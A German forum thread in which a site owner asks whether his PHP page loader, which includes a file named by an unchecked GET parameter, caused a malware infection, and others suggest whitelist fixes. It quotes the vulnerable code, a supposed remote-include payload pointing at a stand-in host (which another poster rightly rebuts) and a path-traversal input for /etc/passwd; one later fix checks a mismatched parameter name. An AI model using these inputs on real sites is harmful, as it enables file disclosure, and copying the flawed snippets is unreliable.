PHP Frage zu Code / Sicherheitsfrage

BaseUser

Ensign
Registriert
Feb. 2005
Beiträge
200
Hallo Zusammen,

neulich wurde mein Account von meinem Provider gesperrt, weil sich ein Virus auf meiner Website eingeschleust hat.

Nach dem Zugang per FTP war tatsächlich eine PHP-Datei vorhanden, welche von meinem Antivirusprogramm als Virus identifiziert wurde. Mir ist aber leider nicht ganz klar, wie der Virus auf den Webserver kam. Da ich meine Seiten per PHP-Script aufrufe, würde ich gerne wissen ob es damit zu tun hat. Kann mir jemand sagen, ob folgender Code ein Sicherheitsrisiko darstellt:

<!-- Start Content -->
<?php
$content = $_GET['content'];

if($content == ""){
$content = "startseite.php";
}
include("./content/$content");?>​
<!-- End Content -->


Die Links sehen dann so aus:

<a href="index.php?content=startseite.php" target="_self">Startseite</a>
<a href="index.php?content=kosten.php" target="_self">Kosten</a>
<a href="index.php?content=Impressum.php" target="_self">Impressum</a>


Also sprich die ganzen Inhalte der Seite werden mit dem obigen Script in die index.php eingebracht. So habe ich den Vorteil, wenn ich das Layout ändern möchte, muss ich nur die index.php ändern, da ja die anderen Seiten in die index.php "included" werden.

Sicherheitshalber habe ich die komplette Webseite gelöscht und neu hochgeladen, die Ordnerberechtigungen (CHMOD) müssten also wieder zurück gesetzt worden sein. Auch habe ich ein weiteres PHP-Script für die Bildvorschau auf der Webseite.

Aber prinzipiell würde mich interessieren, ob dieses include-Script ein Sicherheitsrisiko darstellt.

Für Hilfe wäre ich äußerst Dankbar!!! :(
 
Ja,
das ist einer der schlimmsten Fehler den du machen kannst.
Stichwort: ungeprüfte Benutzereingaben
 
PHP:
$file = '';
switch( strtolower( $_GET['content'] ) )
{
  case 'news' : $file = 'news.php'; break;
  case 'xyz' : $file = 'xyz.php'; break;
  # ...
  default 'home' : $file = 'home.php';
}
require 'xyz/'.$file;

und schon hast du keine probleme mehr damit. ;)
 
Wie funktioniert das denn dann? Durch include("./content/$content"); ist doch eigentlich schon vorgegeben, dass das, was auch immer in $content drin ist, in dem Unterverzeichnis content auf dem Webserver liegen muss. Ist das Einschleusen von fremdem Code dann überhaupt noch möglich? Wenn der Angreifer in $content etwa http://random.com/boesesetwas.php speichern würde, dann würde das Skript include("./content/http://random.com/boesesetwas.php"); aufrufen. Das sollte doch eigentlich zu einer Fehlermeldung führen und nicht dazu, dass http://random.com/boesesetwas.php eingebunden wird oder liege ich da jetzt falsch? Anders wäre es, wenn das Skript include($content); einbinden würde, nur durch include("./content/$content"); ist doch schon festgelegt, dass die einzubindende Datei nicht außerhalb des Webservers liegt.
 
@Computer Freak

Durch include("./content/$content"); ist doch eigentlich schon vorgegeben, dass das, was auch immer in $content drin ist, in dem Unterverzeichnis content auf dem Webserver liegen muss

Ja, so dachte ich das eigentlich auch..... :)

@claW.

Danke für den Tip - ich habe aber ein wenig Schwierigkeiten das Skript in die Seite einzubinden - könntest du mir eventuell helfen?

Ich erhalte die Fehlermeldung

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ':' or ';' in /home/www/web362/html/testumgebung/index.php on line 60

Wobei /home/www/web362/html/ der "Root"-Pfad, also mein Webverzeichniss darstellt, und "testumgebung" das Unterverzeichniss ist, in welchem die komplette Webseite mit der index.php liegt, und dem Content-Ordner.

Muss ich eventuell meine Links, also z. B.

<a href="index.php?content=startseite.php" target="_self">Startseite</a>

noch aktualisieren?
 
Ja, so dachte ich das eigentlich auch.....

Nichtdestotrotz müsste man die Eingabe vorher prüfen, da es schließlich sehr unschön ist, wenn der Nutzer etwas eingibt, was nicht existiert, da er dann mit einer Fehlermeldung konfrontiert wird - mal ganz unabhängig vom Sicherheitsrisiko.

Mir kam übrigens eine Idee, wie man es machen könnte.

Der Angreifer speichert in der GET-Variable den String startseite.php"); include("http://whatever.com/schadcode.php. Wenn PHP dann die Variable einsetzt, kommen folgende beiden Befehle bei raus:

include("./content/startseite.php"); include("http://whatever.com/schadcode.php");

Auf diese Weise konnte man wohl bei dir eindringen.

@ claW.'s Lösung

Da ist noch ein kleiner Fehler drin. Der korrekte Code lautet:

PHP:
$file = '';
switch( strtolower( $_GET['content'] ) )
{
  case 'news' : $file = 'news.php'; break;
  case 'xyz' : $file = 'xyz.php'; break;
  # ...
  default : $file = 'home.php';
}
require 'xyz/'.$file;

Bei den Links musst du nun anstelle von ?content=kosten.php ?content=kosten schreiben, sprich immer das .php wegfallen lassen.
 
Zuletzt bearbeitet:
@ Computerfreak & claW.

Tausend Dank - es funktioniert!! Vielen Dank!!!

Es gibt zwar noch leichte Darstellungsprobleme mit Opera (Seite wird erst nach 2x "F5", also "aktuallisieren" korrekt angezeigt), aber mit Firefox und IE funktionierts! Das Problem ist aber auch eher nebensächlich - hier werd' ich bei Gelegenheit mal ins Opera-Forum ziehen! :D

Danke nochmals!!
 
Hi,
das mit [Seite wird erst nach 2x "F5", also "aktuallisieren" korrekt angezeigt] hängt von Opera's Cache ab. Hat nix mit der Seite zu tun (höhsten den Header; Cache-Control). Und 'darstellungsprobleme' sind keine PHP sondern (X)HTML /CSS Sachen :-) Und da verhält sich so jeder Browser etwas inviduell, obwohl Firefox und Opera sehr ähnlich.
Wollte nur einen ganz kleinen Tipp geben, wenn du immer nur *.php Datei 'hinzufügst'.
PHP:
$file = '';
if(isset($_GET["Content"])) {
switch( strtolower( $_GET['content'] ) )
{
  case 'news' : $file = 'news'; break;
  case 'xyz' : $file = 'xyz'; break;
  # ...
  default : $file = 'home';
} } else {
 $file = 'home';
}
require 'xyz/'.$file.'.php';
 
Also das Beispiel ist zum Glück unsinnig:

include("./content/startseite.php"); include("http://whatever.com/schadcode.php");

Das Problem würde nur mit "eval" auftreten. Die Gefahr liegt hier eher bei Eingaben in der Form:

../../../../ .... /etc/passwd

man kann so einfach jede beliebige Datei ausgeben lassen (sofern die Zugriffsrechte stimmen), was letztlich von der Problematik genauso brisant ist.
 
@Eagle-PsyX-

Subba! Danke! Deine "Erweiterung" behebt also das Cache-Problem, wenn ich das richtig verstanden habe...?


@ag3nt

Hm, die Zugriffsrechte waren eigentlich alle auf "nur Lesen".
 
Nein aber das:
PHP:
if($_SERVER["REMOTE_ADDR"] == "127.0.0.1")
	{
	header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
	header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Datum in der Vergangenheit
	}
Kein Cache macht nur (für mich zumindest) im Localhost Sinn.
Und im (X)HTML Head-Tag:
HTML:
<meta http-equiv="expires" content="0" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="pragma" content="no-cache" />
 
@Eagle-PsyX-

Danke! Komischerweise hat sich das Problem mit Opera von selbst gelöst - liegt wohl an der neuen Version 9.52.

Den Code habe ich somit nicht einbauen müssen - trotzdem vielen Dank für die Unterstützung!
 
Zurück
Oben